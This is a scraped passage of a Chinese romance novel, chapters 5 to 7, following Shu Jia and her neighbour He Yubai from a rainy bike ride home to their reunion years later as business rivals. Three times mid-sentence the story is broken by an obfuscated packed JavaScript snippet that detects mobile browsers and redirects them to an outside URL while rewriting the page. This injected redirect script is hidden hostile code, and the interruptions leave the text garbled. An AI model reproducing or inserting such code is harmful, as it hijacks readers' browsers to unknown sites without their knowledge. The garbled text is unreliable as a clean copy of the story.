她还没来得及夸赞,就看见一个男生骑着车从积满雨水的路上驶过来,车子骑得太快,溅起一地透明的水花。 自行车停在老奶奶身后,男生轻车熟路地从书包里拿出热水袋递过去,看见小车上的蛋糕已经卖完了,清冷瞳孔里露出微微诧异的神色。 根据他的经验,奶奶每天都会剩下至少一半的蛋糕卖不出去,那些是他第二天的早午餐。 贺屿白抬头,和舒嘉同样惊讶的目光对上。 舒嘉手里还捧着才咬了一口的纸杯蛋糕,宣软的胚陷下缺口,有一点碎屑沾在她的唇角。在夜色里亮晶晶的,像星星。 她在对方迅速躲闪的眼神中明白,这位摆摊卖小蛋糕的老人,是贺屿白的奶奶。 “屿白,这是你同学?”奶奶紧张地问。 虽然她执意坚持出来卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214121|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋糕,是为了给孙子攒上大学的学费,但她并不想因为自己让孙子在同学面前丢脸。 贺屿白没有回答,只是说:“您病才好,早点回去休息吧。” 他把书包放进车筐,沉默地帮奶奶收拾起杂乱的摊子。 舒嘉很体贴地转过身去,她也该回家了,于是拿出手机,想给李叔打电话。 很不巧的是,她的手机没电了。 舒嘉不死心地一遍遍按着开机键,屏幕却始终没能亮起。 舒嘉懊恼地叹气。 要不……走回去吧? 就是到家会有些晚,舅舅舅妈应该会担心。 但目前,她似乎没有别的解决办法。 散去喧嚣的街上起了风,路面积水映着树木和月亮。 舒嘉抬脚,还没踩进月亮里,贺屿白骑车停在她面前,与刹车声一同响起的,是他难得主动的话音。 “我可以送你回去。”贺屿白犹豫了一下,补充道,“我顺路。” 舒嘉下意识地看向他的自行车后座。 冷硬的、上着劣质漆色的铁,被这场突如其来的春雨,弄得湿漉漉的。 贺屿白顺着她的视线转头,随即跨下车,把车子在路边停好,动作迅速地脱掉校服外套,叠起来,垫在后座上。 舒嘉眨了眨眼。 她琢磨了一下该如何乘坐这个简陋的交通工具,试探着,侧身坐了上去。 是一种很新奇的体验。 类似于她八岁那年第一次和尹茹去雪场滑雪。 坐稳的瞬间,她听见贺屿白似乎松了口气。 很轻的声音,但在寂静的长街上,却足够被她听得清楚。 等到自行车驶在去往舅舅家的那条熟悉小路上,舒嘉才分出注意力问他:“你怎么知道我住哪?” “早上出门的时候,看见过你。”贺屿白解释,“我家就在隔壁。” 舒嘉恍然大悟地哦了声。 时间有些晚了,小路上半点人影都没有。 老旧的路灯隔几步明明灭灭地亮,路旁的树影在倒退,而他们在向前。 身前的男生身上只剩一件白色短袖,被夜风吹得鼓动如一面帆。 他很瘦,瘦到舒嘉能清晰看见他脊骨的线条,贫瘠,单薄。 舒嘉无聊地盯着看了一会儿,想起刚才卖蛋糕的奶奶,于是主动找起话题:“你跟你奶奶一起住吗?” “嗯。” “你爸妈呢?” “……很早就不在了。” 舒嘉有些后悔问起这个话题。 她想说点轻松的话,却突然看见一只小猫不知道从哪家的院子里蹿出来,矫健地踩过水洼,冲向小路中央。 车子急急刹住,一阵剧烈的摇晃。 舒嘉本能地抓住贺屿白的衣服,整个身体不受控制地往前栽去,脸颊撞上他硬冷的后背。 贺屿白感觉胸腔好像也跟着被撞了下,呼吸错乱,心跳快到不可思议。 “没事吧——” 他们同时出声,贺屿白紧张地去看后座的舒嘉,而舒嘉正探着身,担心地望着前方晦暗不明的夜色,那只小猫跑过的地方。 5. Fallen spring night [Fallen spring night……] 短暂的错愕后,贺屿白紧绷的神情,以一种自嘲的释然,无声地归于平静。 小猫早就跑远了,只有路旁的草丛,在无人知晓的角落里颤动过,又自觉地平息。 “嘉嘉!” 陈晚玉焦急的喊声让舒嘉回过神,她从后座下来,惊讶道:“舅妈?” “你这孩子,这么晚不回家也不知道给家里打个电话。”陈晚玉把外套披在舒嘉身上,嗔怪道,“衣服都湿了,快进屋,舅妈给你熬了豆沙,这会儿都凉了。” “不好意思舅妈,我手机没电了。”舒嘉赶紧解释,“不是有意让你和舅舅担心的。” “嘉嘉没事就好,打不通你电话,你李叔吓坏了,出去找你,现在还没回来呢。”陈晚玉松了口气,拉着舒嘉往院子里走。 舒嘉后知后觉想起来还没来得及和贺屿白道谢,等她回过头,路旁的人和自行车却已经不见了。 只剩下夜晚的潮湿,落在呼吸之间,是唯一真切的存在。 “嘉嘉,别站着了,赶紧回屋换衣服。”陈晚玉一边喊她,一边支使闻声从屋里出来的尹杭,“茶几下面抽屉里有感冒药,去给嘉嘉冲一杯。” 舒嘉想说她没事,倒是贺屿白,回来的路上,舒嘉听见他咳嗽了不止一声。 尹杭已经快速烧开热水,把冲好的药递到舒嘉面前,又拿来陈晚玉做的甜豆沙,让她压一压药的苦味。 舒嘉想给贺屿白也送点药过去,一来她觉得对方显然比她更需要及时吃点感冒药,二来,也正好作为他今晚送她回家的答谢。 舒嘉蹲在茶几旁边,在刚才尹杭拿药的抽屉里翻找了半天,声音惊动了正要睡下的尹杭,他从卧室出来,关切地问舒嘉是不是还不舒服。 舒嘉摇头,把贺屿白送她回家的事告诉了尹杭。 “这点小事,交给舅舅就行了,你赶快洗个澡去睡觉。”尹杭催着她去休息。 舒嘉肚子饱饱的,也的确有些困了,于是便站起身,打着哈欠上了楼。 目送着舒嘉的背影消失在楼梯口,尹杭想起舒嘉刚才和他提起的那个男生,两家挨着做了几年邻居,对方家里的情况,他多少知道一些。 贺屿白的父母在他很小的时候就在工地上出了意外,承包商拿不出赔偿款,欺负贺屿白的奶奶不懂法律又没文化,最后只拿了一套老房子抵赔偿。 尹杭见过那个男生几次,他总是沉默寡言,见了人就避开走,是那个年纪的男生不该有的孤僻。 尹杭叹了口气,开门出去。 他其实并不太想做一个坏人,但他没有办法,舒家的独女,川港首富的掌上明珠,她的人生,绝不可以有任何偏轨。 舒嘉的身份,本身就是一种诱惑。 即使那男生并没有那样的心思,他作为舒嘉的舅舅,也不得不给予他一点必要的提醒。 尹杭敲响了隔壁的院门。 贺屿白出来开门,尹杭抬手阻止了他的动作,隔着门上铁栏杆的缝隙把药盒递过去。 “我是嘉嘉的舅舅,今天谢谢你送嘉嘉回来。淋雨了吧?还有几个月就高考了,身体可不能出差错。” 贺屿白看着他,没有接。 尹杭笑笑,镜片后的眼睛久违地透出几分商人的精明,“是嘉嘉让我送药给你的,嘉嘉这孩子心善,她九岁那年就让她爸爸在川港帮忙成立了动物救助基金会,专门帮助那些受伤的,或者是生病了没钱医治的动物。” 言外之意,舒嘉的善意,并不是单单对他的。 “我知道你家里的情况,人人都想走捷径,有这样的想法并不丢人,但嘉嘉不一样。”尹杭意味深长地盯着男生苍白的脸,“这条捷径,不是谁都有资格触碰的。” 贺屿白动了动唇,手指沉默地攥成拳头,指节按出闷响。 “当然,你没有那样的想法最好,这样对嘉嘉,对你,都是件好事。我觉得你是个聪明的孩子,知道怎么做是对的。”尹杭笑着把药盒又往前递了递。 贺屿白盯着尹杭鼻梁上精致的镜片,长久的沉默后,他终于伸手接过了药盒,从喉咙里吐出两个晦涩的字眼,“……谢谢。” 目送尹杭离开,贺屿白转身进屋,来到厨房,往老旧的电烧水壶里倒满水,按下开关。 水逐渐滚沸,有些吵。水汽从生锈的壶口涌出来,像大块抓不住的云。 贺屿白坐在灶台边,安静地等着开关跳闸的声音。 尹杭的担心实在多余,从见到舒嘉的第一眼,他就清楚地知道他和舒嘉之间的界限。 像是埋藏在雪里的暗轨,舒嘉的教养可以善意地将那道界限藏起,可是并不代表它不存在。 贺屿白不是没有自知之明的人。相反,他认为自己把这门本领掌握得很好。 所以他一直很小心地走在界限的另一边—— 可是却因为一直低着头,连什么时候偏了轨都不曾发觉。 * 栖塘镇的雨季总是漫长的。 夜里又下了场大雨,早上起来,院子里泥泞一片。 舒嘉背着书包站在门口,哼着昨晚郑歆宜分享给她的歌,等着李叔开车过来。 李叔一向准时,今天舒嘉却等了很久,才看见李叔气喘吁吁地朝她跑过来。 “大小姐,车子坏了……不知道是谁家小孩子调皮不懂事,把四个车胎全扎坏了。”比起昂贵的车胎,李叔显然更担心舒嘉上学的事,“我已经打电话叫了修车的人过来,但是最快也要一个小时。” 李叔懊恼自己该多带几个备用车胎的,他没想到这镇子上的小孩竟然胆子这么大,连舒家的车也敢动。 舒嘉对此却并不意外,她很早就提醒过舒知行,在这样的地方,不要做太过张扬显眼的事。 那辆车停在镇上唯一宽敞的一处街口,几乎成了地标一样的存在,想不注意到都难。 一辆车而已,舒家当然不在乎这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214122|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小钱,但舒嘉认为,能够解决问题虽然是不可否认的能力,但如何避免问题的发生却是一种更加精巧的本事。 李叔紧张地观察舒嘉的脸色,生怕大小姐生气之下把他的重大失职汇报给舒董。 毕竟来栖塘镇之前舒知行已经叮嘱过不下几十遍,要让舒嘉像在川港的家里一样舒服,舒氏集团的千金,无论在哪里都不可以受一丁点委屈。 舒嘉安抚他:“没事的李叔,车子不着急修。学校又不远,我走……” 隔壁院子里传来响动,舒嘉话音止住,下意识看过去。 是贺屿白正把自行车从雨棚里推出院子。 舒嘉顿了几秒,几乎没怎么思考就眉眼灿灿地朝他招手:“贺屿白!我家车子坏了,你顺路载我去学校吧?” 贺屿白动作停住,转过头,就看见舒嘉已经小跑着来到他身边。 后座被仔细擦过,很干净。 舒嘉的眼神表现出期待。 她很喜欢坐自行车的感觉,颠簸的、摇晃的,风和影子,月亮和小猫,一切都是具象的,好像伸手就能碰到。 贺屿白想起昨晚尹杭的话,微微握紧了车把手。 理智告诉他,他该拒绝,该让那道界限变得明晰。 可对上舒嘉的眼睛,贺屿白发觉,他无法说出拒绝的话。 好像在她面前,她的一切话语,他都只有顺从。 他默许了舒嘉坐上他的后座,载着她,往学校去。 两人一前一后走进教室,早自习的铃声还没响,舒嘉一边小声地哼着歌,一边对着课表把上午要用的课本和试卷找出来。 等她忙活完,才发现贺屿白的手还探在书包里,似乎正捏着什么东西,犹豫着要不要拿出来。 感受到舒嘉的视线,贺屿白的睫毛垂得更低,他终于下定决心般,快速把书包里的袋子拿出来塞进舒嘉的桌膛,“奶奶让我给你的。” 他顿了下,及时补充一条合适的理由,“谢谢你昨晚买下她的蛋糕。” 透明塑料袋包得严严实实,舒嘉一层层拆开,里面是一块纸杯蛋糕。和昨晚不同的是,蛋糕上嵌了一块小熊形状的饼干,还很细致地做出了眼睛和嘴巴。 很像……她书包上挂着的那只Kerry。 舒嘉捧着蛋糕,思考片刻,歪头趴在桌上,这个角度,刚好可以从下至上地窥探贺屿白的眼睛。 “这是奶奶做的吗?”舒嘉问。 贺屿白心跳得很快。 他没有看舒嘉,舒嘉却清晰地看到,男生的喉结迅速地上下滚动。 而后他低声开口,“……是。” 舒嘉哦了声。 她好像有些失望,是一种发觉失去乐趣的失望。 贺屿白手背绷紧,他紧紧握着手里的塑料笔杆,后知后觉他似乎填写了错误的答案。 上课铃响了。 他听见舒嘉咬碎了那块小熊饼干,声音懒洋洋地,“你今晚还能送我回家吗?” 6. 堕落春夜 宴会厅内的喧嚣,盖过了窗外渐大的雨声。 有服务生匆忙跑过去关窗,身影从舒嘉面前经过,短暂地阻隔了她的视线。 舒嘉眯起眼睛。 她凭着模糊的记忆认出贺屿白旁边的人是孙盛,家里做矿产发家,去年和舒氏有过一次合作。 孙盛热情地把贺屿白请到舒嘉面前,笑着向舒嘉介绍:“舒小姐,您还没见过贺总吧?我来给您介绍,予一集团的总裁,今年新锐科技奖的获得者,可了不得嘞。这么年轻就能把事业做到这地步的,在川港可没几个。听说舒氏今年和予一还有不少合作,正好,你们聊聊?” 舒嘉耐心地听完,而后笑笑,朝贺屿白晃了晃手中的酒杯。 “好久不见,贺、总。” 贺总两个字被她微微拖长,像是需要一点时间来适应这个称呼,却莫名地,拖出了几分外人不可窥见的暧昧。 红酒漫溢过透明杯壁,舒嘉抿了口酒,意料之中地听见孙盛和谢令书同时惊讶的声音。 “你们认识?” 谢令书手臂绷紧,像是在捍卫领地般,把舒嘉往身边揽了揽。温和的视线警惕起来,审视地在舒嘉和贺屿白之间徘徊。 舒嘉皱眉,挣开一点谢令书紧锢的力道,然后才把喉咙里的红酒舒适地咽下。 她回味着口腔里酒的余味,声音带着一点微醺的慵懒,“在云湾的时候,有幸和贺总读过同一所大学,见过几次。” 舒嘉直白地将贺屿白从头到脚打量一遍,而后评价道:“贺总还是和以前一样,没什么变化。” 贺屿白握紧了酒杯,“……舒小姐也是。” 他的声音还是和以前一样冷淡,却很好听,舒嘉挑眉,隐约记起,这并不是贺屿白第一次叫她舒小姐。 身后有人喊嘉嘉,是尹茹朝舒嘉招手,要给她介绍几位新的投资人认识。 孙盛连忙说那舒小姐先忙,舒嘉点头,歉意地说:“本来该和贺总多聊聊的,但今天实在是忙不开。” 她挽着谢令书的手臂优雅转身,走出几步又回头朝孙盛叮嘱,眉眼带笑,“孙先生,替我照顾好贺总啊。” “哎,舒小姐放心。”孙盛答应得痛快,就算没有舒嘉这个东道主的叮嘱,他当然也是要巴结着贺屿白的。 不到三十岁的年纪,没有任何资本和人脉的帮衬,就能做到这个地步—— 头脑,手段,还有运气,都缺一不可。 川港的财经媒体报道这位年轻的总裁时,甚至称他是唯一有能力创立下一个舒氏财团的人。 不过也有媒体对此持否认态度,认为舒氏虽然出了个不着调的长子,但有那位舒大小姐坐镇,还没人能动摇舒氏集团的地位。 无论外界传言如何,孙盛都是很欣赏贺屿白的,自从宴会开场,就一直热络地围在贺屿白身边。 很多人还不知道贺屿白的身份,但他身高腿长,外形优越,又长了一张清冷禁欲的脸,放在哪里都是引人注目的存在,时不时就有女人端着酒杯过来,和贺屿白搭讪。 孙盛就顺理成章地充当起介绍人的身份,可是他很快发现,这位年轻的贺总性格实在太过冷淡,无论对方多么热情地主动攀谈,他也只是点点头算是打过招呼,而后便始终保持着疏离的沉默。 孙盛算下来,好像贺屿白唯一开口说话,就只有在舒嘉面前的那回。 他也就只能拿舒嘉继续干巴巴地找话题:“贺总,原来您和舒小姐早就认识啊?” 贺屿白像是没有听见,他的目光落在不远处的大厅角落,舒嘉正站在谢令书身边,笑着和几位尹茹带来的客人寒暄。 他想起刚才舒嘉朝他扬起酒杯时,无名指上熠熠闪烁的光彩,眼眸晦暗,喉咙发涩到说不出话。 七年,他用了整整七年的时间,不长也不短,摸爬滚打吃尽苦头,终于挣来一张能够体面地进入舒嘉世界的入场券。 可是她却订婚了。 和她年少时青梅竹马的爱人。 他庆幸于舒嘉还记得他,可是好像,也仅仅是记得而已。 连寒暄都如此客气,好像她早就忘了,忘了那个潮湿的夜晚,在开着灯的酒店套房里,她对他做过的一切。 * 一直到晚上九点,宾客们才陆续散场。 这场订婚宴对舒嘉而言,只是一场大型的谈资会,舒嘉效率极高地敲定了White明年的原材料供应商,又给舒氏下半年几个重要项目谈拢了合资人,累得口干舌燥。 舒嘉迫不及待去更衣室甩掉累脚的高跟鞋,又换了身简单舒适的休闲服。 开门出去时,看见谢令书还等在门口,舒嘉脚步一顿,“还有事?” “很晚了,今晚要不要去我家休息一晚?”谢令书推了推眼镜,“顺便看看我们的婚房,静港大道的那栋,之前看你有留意过,我就让助理买下来了。里面的装饰还缺一些,你喜欢的那幅《尤加》我已经订下了,不过从加丽岛越洋空运过来还要点时间。” 舒嘉像是听到什么笑话一般,她也的确笑出声来,“谢令书,我想我们的协议上写的很清楚,我们的婚约只维系十个月。协议到期后,我会安排媒体见面会宣布婚约解除的消息。你那么精明的脑子,我不相信你会没看协议内容就随便签字。” 拿谢令书做挡箭牌毕竟不是长久之计,何况舒嘉很清楚谢令书的为人,高傲,自负,和这样的人打交道,是很浪费心情的一件事。 所以舒嘉早早就想好了,十个月,足够她心无旁骛地处理好White未来几年的发展规划,集团的事务也都在按部就班地运作,到时候她也能安心地给自己放个假,好好休息一阵子。 协议上写的清清楚楚,作为补偿,舒氏在蓝湖岛的工程,谢家会是唯一的合作伙伴。 她已经给出了足够丰厚的报酬,谢令书难道还不满足? “嘉嘉。”谢令书听出她话里的刺,皱了皱眉,“我不喜欢听你说这种任性的话。我知道,订婚的事,是伯父催得太紧,你迫不得已才答应的。但是嘉嘉,整个川港,你不嫁给我,还能选择谁呢?” 他的语气是一种宽容的宠溺,“我是你最合适的丈夫人选,这一点,嘉嘉应该清楚。” 舒嘉抱着胳膊,懒洋洋笑了。 “谢令书,脑子坏了就赶紧去医院看病。予一抢走的那几个上亿的大项目,是你经手的吧?就这点能力,也好意思在我面前说这些?不觉得丢人吗?” 谢令书的神情在她毫不掩饰讥讽的话语中出现了一丝裂缝。 舒嘉上前两步,最后一遍好心提醒:“别太入戏了,谢总。合不合适,我说了才算。” 说完,她没再看谢令书难看到极致的表情,头也不回地走了。 出了酒店大楼,舒嘉坐进车里,司机一边打开她爱听的音乐,一边恭敬地询问:“大小姐,是回舒宅还是……” “回我家。”舒嘉被谢令书莫名其妙的行为搞得有些烦,吩咐完简短的一句,就靠着后座闭目养神。 回到川港后,舒嘉就搬去了西城区的临海别墅,那是她十岁生日的时候爷爷送她的礼物。 除了去年舒老爷子九十大寿,舒嘉再没回过舒宅。 司机应了声,车子很快驶进雨雾弥漫的夜色里。 回到家,舒嘉洗过澡,才换上睡衣回到房间,女佣就小心地敲响了房门。 “大小姐,有您的礼物。” 礼物? 舒嘉揣着疑惑打开门,女佣怀里抱着个半人高的超大号Kerry棕熊玩偶,差点没站稳,“是舒先生送来的。” 舒嘉把玩偶拖进屋里,顺手从棕熊脖子上的粉色蝴蝶结丝带里拽出一条钻石项链。 很干净的白钻,是她喜欢的风格。 舒嘉扯唇,算舒远还有点品味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214123|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>床上的手机嗡嗡震动,舒嘉趴过去懒懒接起,电话那头传来舒远得意的声音:“怎么样,我送你的订婚礼物,还喜欢吗?” 舒嘉瞟了眼堆在房间角落里的巨大玩偶,叹气道:“哥,你是不是忘了我已经成年了?” 她小时候的确很喜欢这只Kerry熊,书包挂件、本子、甚至发绳,都是它的联名设计款。 可是人总会长大,爱好也不可能一成不变。 舒远不以为然:“不好看吗?现在女孩子不都喜欢这种大玩偶吗,我给我家宝宝也买了一个,她可喜欢了。” 舒嘉无语地翻了个白眼,赶紧转移话题,“项链倒是还不错,不过你哪来的钱买这么贵的首饰?” 据舒嘉所知,自从舒远为了爱情和家里断绝来往之后,舒知行就停掉了舒远所有的信用卡。 她这几年忙着操心集团的事,也没空管她这个哥哥,不过回想起来,舒远好像也从来没打电话问她要过钱。 听见舒嘉这话,舒远立马不高兴了:“什么意思,看不起你哥是吗?你哥有工作的好吗!而且是正经公司,登上过财报的那种大公司!” “嗯嗯嗯,我知道,我哥最厉害了。”舒嘉翻过身,打了个哈欠。 舒远很不服气地强调:“我可没跟你开玩笑啊,我们老板虽然年轻,但是慧眼识珠,可器重我了,我才过来干了三个月他就提拔我做项目经理了,我还有自己的办公室呢!” 舒远一边说,一边随手发了个地址过去,“你明天不是没事吗,来哥办公室参观参观,让你开开眼。” 微信弹出舒远的消息,龙湖路樟香大道336号。 地图上看,离舒氏总部倒是不远。 算起来她和舒远也有大半年没见了,于是舒嘉想了想,给司机小冯发了条消息,让他明天中午准时来接她。 舒嘉累了一晚上,几乎是沾上枕头就睡着了。 第二天醒来,舒嘉让安雅替她准备了两份礼物,一条男士领带,一瓶女士香水,作为她给舒远和他家宝宝的礼物。 车子开了不到半小时,就到了舒远发来地址的位置。 小冯快跑两步拉开车门,舒嘉踩在地上,抬手将墨镜摘下一半,视线里是一栋栋高耸的大楼,她看见一行醒目的字眼。 “予一大厦”。 舒嘉眼皮一跳,没等她确认是不是走错了地方,舒远已经替她刷过门禁,兴奋地朝她招手。 “嘉嘉,就是这里,快进来!” 旁边的保安两手交叠,客客气气地称呼舒远为“舒经理”。 舒嘉走过去,总觉得有种说不上来的巧合,“哥,你在这儿上班?” 舒远自豪地点点头,“怎么样,气派吧?你哥我现在也算是个小领导,自力更生养活老婆,再也不用看家里老头子脸色。” 舒嘉嘴角抽了抽,她很难想象舒远这副吊儿郎当的性格是怎么跟领导俩字沾边的。 “……我们老板人特别好,虽然话少了点,但是又年轻又帅,还大方,光是上个季度的奖金就给我发了十万呢。”舒远领着舒嘉走出电梯,顺着走廊往前走,一路上嘴就没停过,“喏,前面就是我们老板办公室。” 话音才落,那道舒远伸手指向的玻璃门,突然打开了。 舒嘉下意识停住脚步。 男人似乎刚开完会,在一众助理秘书的簇拥下走出来,他一边微微偏头听着身旁人的汇报,一边随意扯了扯系得过紧的领带。 直到发现他的路被舒嘉挡住。 贺屿白抬头,走廊两侧的透明玻璃,映出他和舒嘉的影子。 贺屿白没有听见身边助理之后的话。 他手指微攥,尽量平静地看着舒嘉,好像她在他生命中的每一次出现,都如此醒目,耀眼,轻而易举便占据他所有视线。 而舒嘉只是无辜地眨眨眼。 “好巧啊,贺总。” 7. 堕落春夜 一旁的舒远露出一副惊掉下巴的表情。 足足十几秒后,他才从震惊中回神,急忙端出笑脸对贺屿白解释:“贺总,这是我妹妹,现在不是午休时间嘛,我就想着带我妹妹来参观下我办公室……” 贺屿白的视线不自觉地落在舒嘉握着包带的手上。 那枚钻戒依然戴在她的无名指上,很低调的雪钻,被透进玻璃的阳光晃着,有些刺眼。 空气过分安静。 好在舒嘉及时出声,她向来擅长打破僵局。 “贺总放心,我就待在我哥的办公室,不会出来打扰予一的员工工作的。”舒嘉用半开玩笑的语气说,神色没半点不自在,好像她并不是第一次来这里,好像她才是这座大厦的主人。 贺屿白喉结滚动,移开视线,“没关系,舒小姐自便就好。” 他侧身,交代身旁的助理赵峻,“给舒小姐准备一杯咖啡。” 男人走远了。 身后众人连忙跟上,一边走,一边见缝插针地汇报着事情。 舒嘉眯起眼睛打量着贺屿白走进电梯的背影。 昨晚在宴会上没来得及细看,他好像又高了些,没以前那么瘦了,身上多了成熟男人沉稳的韵味。 “别看了。”舒远低声,他一把薅过舒嘉,把她拉进自己办公室,咔擦一声锁上门,像审问犯人似的,“老实交代,你怎么会和贺总认识?” 舒嘉歪在皮质沙发椅上,懒洋洋扭了下脖子,“我跟你们贺总读过同校,在云湾那会儿,我俩都在湾大。” 舒嘉一脸坦荡,舒远却越琢磨越不对劲。 刚刚他向贺屿白介绍舒嘉是他妹妹的时候,贺屿白脸上竟然没有半点惊讶的表情,好像早就知道他和舒嘉的关系一样。 再仔细回想他入职予一以来顺利到不可思议的升职之路,舒远表情逐渐凝重。 没等他揪着舒嘉仔细盘问,舒嘉已经先发制人地从包里拿出礼物放在茶几上,一边环视四周,一边故作惊叹道:“哥,你还真没骗我啊。既然你这么厉害,都能做到项目经理了,要不要考虑一下,回舒家帮我?” 舒远金鱼记忆的脑子立马被舒嘉的话题吸引,他气哼哼地反驳:“我才不回去!你忘了,我在祖宗面前发过毒誓的……” 舒嘉顿时觉得一个头两个大,得,她还是不提这事比较好。 砰砰,敲门声打断了舒远的控诉。 舒远咽下唾沫星子去开门,门口站着个年轻男孩子,舒嘉认得,是刚才跟在贺屿白身边的助理。 赵峻礼貌地看向舒嘉:“舒小姐,您的咖啡已经准备好了。贺总说,正好有些项目上的事想和舒小姐确认一下,不知道您方不方便和贺总聊聊。” “当然方便。”舒嘉欣然起身。 “哎……”舒远追上去,后知后觉还想追问什么,但舒嘉已经拎起包跟着赵峻走远了。 “舒小姐,请。” 赵峻拉开会客室的门,恭敬地请舒嘉进去。 舒嘉在黑色真皮沙发上坐下,拿起茶几上的咖啡喝了一口,有点苦,不过豆子的味道是她喜欢的。 贺屿白进来的时候,舒嘉刚把一杯咖啡喝到底,无聊地拿了本书来看。 “抱歉,临时有个会议,让舒小姐久等了。”贺屿白缓了缓呼吸,关上门。 “没关系,刚好我今天没什么事情。”舒嘉抬起眼睛笑,“不过,我记得和予一的那几个项目,合同早就全部敲定了,不知道贺总还有什么想谈的?” 说完,舒嘉好整以暇欣赏男人的表情,像观察被堵死后路的猎物,该如何挣扎求生。 贺屿白手指攥着文件夹,才要翻开的动作无声停住。 她好像一直是这样,能轻而易举洞悉他的一切。 贺屿白动了动唇,却不知道能说些什么,她没有承认那段过往,也就没有给予他叙旧的资格。 嗡嗡。 舒嘉放在茶几上的手机震动,打破了会客室里的寂静。 屏幕显示,“谢令书”来电。 舒嘉看了眼,拿起手机朝贺屿白扬了扬,“抱歉,我接个电话。” 贺屿白点头,垂下眼,拿起他的那杯咖啡喝了一口。 电话那头传来谢令书温和嗓音,“嘉嘉,今晚是奶奶的寿宴,别忘了早点回家。我会让司机提前去接你。” 他好像全然忘记了昨晚的那场不愉快,又体贴地扮演起一位知心丈夫的角色。 舒嘉有点作呕。 瞟了眼面前的贺屿白,舒嘉咽下骂人的冲动,随手挂了电话。 “如果贺总没什么重要的事,我就先走了?”舒嘉拿起包,作势要起身,“至于项目的事,贺总有问题,随时可以和项目部的陈经理沟通。” 男人细密的睫毛低垂着,攥着咖啡杯的手沉默地握紧。 他后知后觉地庆幸这个电话及时打来,让他得以迅速清醒,没有在舒嘉面前表露出任何不该有的言语。 她有和她相爱的未婚夫,他不该再打扰她的生活。 贺屿白站起身,为舒嘉拉开会客室的玻璃门。 “我让助理送舒小姐下楼。” 他终于只是这样说,看着舒嘉朝他挥手,身影消失在走廊尽头,只有空气里,还残留着一点她身上的薄荷香。 舒嘉的兴趣总是多变的,喜欢的香味也是每隔几天就换。 她热爱一切对她而言新鲜的事物,而他只是一块一成不变的木头,乏味,枯燥。 贺屿白在舒嘉坐过的地方坐下,拿起她用过的咖啡杯,雪白的杯口,有她留下的嫣红唇印。 他盯着那圈红痕,不受控制地想起那晚所有琐碎的回忆,他被舒嘉按在腿上吻得发抖,她的手心里全是他的眼泪。 贺屿白闭上眼,薄唇颤抖着往前,想要贴上那点残留的唇印。 “贺总,您还在里面吗?”赵峻的声音隔着玻璃门传来。 贺屿白猛然睁开眼睛,杯子放回原处,磕碰出一声少见的、慌张的沉响。 打开门时,他已经又恢复了平时的样子,看不出任何异样。 “什么事?”贺屿白冷淡地问。 赵峻恭敬地双手递上一张请柬,“宜众的郑小姐后天晚上在蓝庭海邸举办晚宴,庆祝她和她先生的结婚纪念日。” “我不是说过,这种晚宴统统拒绝掉吗。” 他不喜欢在没用的应酬上浪费时间,也不喜欢宴会上那些花枝招展端着酒杯往他身边凑的女人。 “对不起贺总,下次我会注意。”赵峻赶紧小声道歉。 他心里嘀咕着,可是贺总不是昨天才参加过舒小姐的订婚宴吗?他还以为,贺总对这种场合没那么抗拒呢。 赵峻低着头往前走,没留神贺屿白什么时候回过头,差点撞了个踉跄。 “我记得蓝庭海邸是舒氏的产业。” 赵峻连忙解释:“郑小姐和舒小姐是关系很好的朋友,所以借用了舒氏的地方。舒小姐好像也会去的……刚刚送舒小姐下楼的时候,我听见她讲电话说的。” 工作养成的习惯,让赵峻一股脑地把他知道的所有信息全部汇报给了贺屿白。 短暂的沉默后,赵峻手中的请柬被抽走。 他愣了下,意外地听见贺屿白依旧冷淡的声音。 “后天晚上的会议取消。” * 舒嘉出了予一大厦,才坐进车里,包里的手机又是一连震动。 她烦躁地按亮屏幕,果然是谢令书发来的消息。 xls:「你在哪?我让陈姨做了你爱吃的柚子蜂蜜送过去,陈姨说你不在公司。」 xls:「寿宴六点开始,记得别迟到,不然奶奶会不高兴。」 舒嘉手指飞快敲动,毫不客气地回复过去。 “你又发什么疯?” “就说我身体不舒服在家休息,给你奶奶的礼物我已经让小冯送到你公司了。” 手机短暂地安静了一会儿。 xls: 「后天晚上潘总约了一起去打高尔夫,他夫人上次输给你三场,这次特意叮嘱了要我带你一起去。」 “后天我有约了。”舒嘉用最后的耐心打出这几个字,点了发送,然后熟练地设置消息免打扰,把手机扔在后座上。 有时候舒嘉甚至开始后悔当初答应和谢令书订婚,协议上白纸黑字写得清清楚楚,谢令书却依然认为那不过是舒嘉任性的方式,时间长了,她自然会爱上他、接受他。 真是自负又愚蠢的男人。 好在好姐妹体贴,及时发来几张照片转移了舒嘉的注意力,点开一看,个 